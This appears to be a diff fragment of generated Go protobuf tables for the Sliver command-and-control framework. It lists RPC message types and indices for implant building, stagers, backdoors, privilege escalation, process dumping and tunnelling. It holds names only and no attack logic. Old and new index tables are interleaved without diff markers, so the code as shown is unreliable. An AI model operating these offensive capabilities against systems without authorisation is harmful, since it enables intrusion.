(*sliverpb.RegistryDeleteKeyReq)(nil), // 64: sliverpb.RegistryDeleteKeyReq
(*sliverpb.RegistrySubKeyListReq)(nil), // 65: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 66: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 67: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 68: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 69: sliverpb.GetPrivsReq
(*sliverpb.OpenSession)(nil), // 70: sliverpb.OpenSession
(*sliverpb.CloseSession)(nil), // 71: sliverpb.CloseSession
(*sliverpb.RegisterExtensionReq)(nil), // 72: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 73: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 74: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 75: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 76: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 77: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 78: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 79: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 80: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 81: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 82: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 83: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 84: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 85: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 86: sliverpb.TunnelData
(*clientpb.Version)(nil), // 87: clientpb.Version
(*clientpb.Operators)(nil), // 88: clientpb.Operators
(*clientpb.Sessions)(nil), // 89: clientpb.Sessions
(*clientpb.Session)(nil), // 90: clientpb.Session
(*clientpb.Beacons)(nil), // 91: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 92: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 93: commonpb.Response
(*clientpb.Jobs)(nil), // 94: clientpb.Jobs
(*clientpb.KillJob)(nil), // 95: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 96: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 97: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 98: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 99: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 100: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 101: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 102: clientpb.AllHosts
(*clientpb.Generate)(nil), // 103: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 104: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 105: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 106: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 107: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 108: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 109: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 110: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 111: clientpb.Compiler
(*clientpb.Websites)(nil), // 112: clientpb.Websites
(*sliverpb.Ps)(nil), // 113: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 114: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 115: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 116: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 117: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 118: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 119: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 120: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 121: sliverpb.Download
(*sliverpb.Upload)(nil), // 122: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 123: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 124: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 125: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 126: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 127: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 128: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 129: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 130: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 131: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 132: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 133: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 134: sliverpb.Screenshot
(*sliverpb.PivotListener)(nil), // 135: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 136: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 137: clientpb.PivotGraph
(*sliverpb.ServiceInfo)(nil), // 138: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 139: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 140: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 141: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 142: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 143: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 144: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 145: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 146: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 147: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 148: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 149: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 150: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 151: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 152: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 153: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 154: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 155: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 156: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 157: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 158: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 159: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 160: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 161: sliverpb.Portfwd
(*clientpb.Event)(nil), // 162: clientpb.Event
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -696,159 +712,165 @@ var file_rpcpb_services_proto_depIdxs = []int32{
49, // 76: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
50, // 77: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
51, // 78: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
52, // 79: rpcpb.SliverRPC.PivotListeners:input_type -> sliverpb.PivotListenersReq
53, // 80: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
54, // 81: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
55, // 82: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
56, // 83: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
57, // 84: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
58, // 85: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
59, // 86: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
60, // 87: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
61, // 88: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
62, // 89: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
63, // 90: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
64, // 91: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
65, // 92: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
66, // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
67, // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
68, // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
69, // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
70, // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
71, // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
72, // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
73, // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
74, // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
75, // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
76, // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
77, // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
78, // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
79, // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
80, // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
81, // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
81, // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
82, // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
83, // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
83, // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
84, // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
85, // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
86, // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
87, // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
88, // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
89, // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
90, // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
91, // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
92, // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
93, // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
94, // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
95, // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
96, // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
97, // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
97, // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
98, // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
98, // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
99, // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
99, // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
133, // 192: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 193: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
134, // 194: rpcpb.SliverRPC.PivotListeners:output_type -> sliverpb.PivotListeners
135, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
135, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
135, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
136, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
137, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
138, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
139, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
140, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
141, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
142, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
143, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
144, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
145, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
146, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
147, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
148, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
69, // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
149, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
150, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
151, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
152, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
152, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
153, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
153, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
154, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
155, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
156, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
157, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
81, // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
82, // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
83, // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
84, // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
158, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
115, // [115:230] is the sub-list for method output_type
0, // [0:115] is the sub-list for method input_type
52, // 79: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
0, // 80: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
53, // 81: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
54, // 82: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
55, // 83: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
56, // 84: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
57, // 85: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
58, // 86: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
59, // 87: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
60, // 88: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
61, // 89: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
62, // 90: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
63, // 91: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
64, // 92: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
65, // 93: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
66, // 94: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
67, // 95: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
68, // 96: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
69, // 97: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
70, // 98: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
71, // 99: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
72, // 100: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
73, // 101: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
74, // 102: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
75, // 103: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
76, // 104: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
77, // 105: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
78, // 106: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
79, // 107: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
80, // 108: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
81, // 109: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
82, // 110: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
83, // 111: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
83, // 112: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
84, // 113: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
85, // 114: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
85, // 115: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
86, // 116: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 117: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
87, // 118: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
88, // 119: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 120: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
89, // 121: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
90, // 122: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
91, // 123: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 124: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 125: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
92, // 126: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 127: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
93, // 128: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 129: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
94, // 130: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
95, // 131: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
96, // 132: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
97, // 133: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
98, // 134: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
99, // 135: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
99, // 136: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
100, // 137: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
100, // 138: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 139: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 140: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 141: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 142: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
101, // 143: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
101, // 144: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
102, // 145: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 146: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 147: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 148: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
103, // 149: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
103, // 150: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
104, // 151: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 152: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
105, // 153: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
106, // 154: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
107, // 155: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
108, // 156: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 157: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 158: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
109, // 159: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
110, // 160: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
111, // 161: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
112, // 162: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 163: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 164: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 165: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 166: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 167: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 168: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
113, // 169: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
114, // 170: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
115, // 171: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
116, // 172: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
117, // 173: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
118, // 174: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
118, // 175: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
119, // 176: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
120, // 177: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
121, // 178: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
122, // 179: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
123, // 180: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
124, // 181: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
125, // 182: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
126, // 183: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
127, // 184: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
128, // 185: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
128, // 186: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
128, // 187: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
129, // 188: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
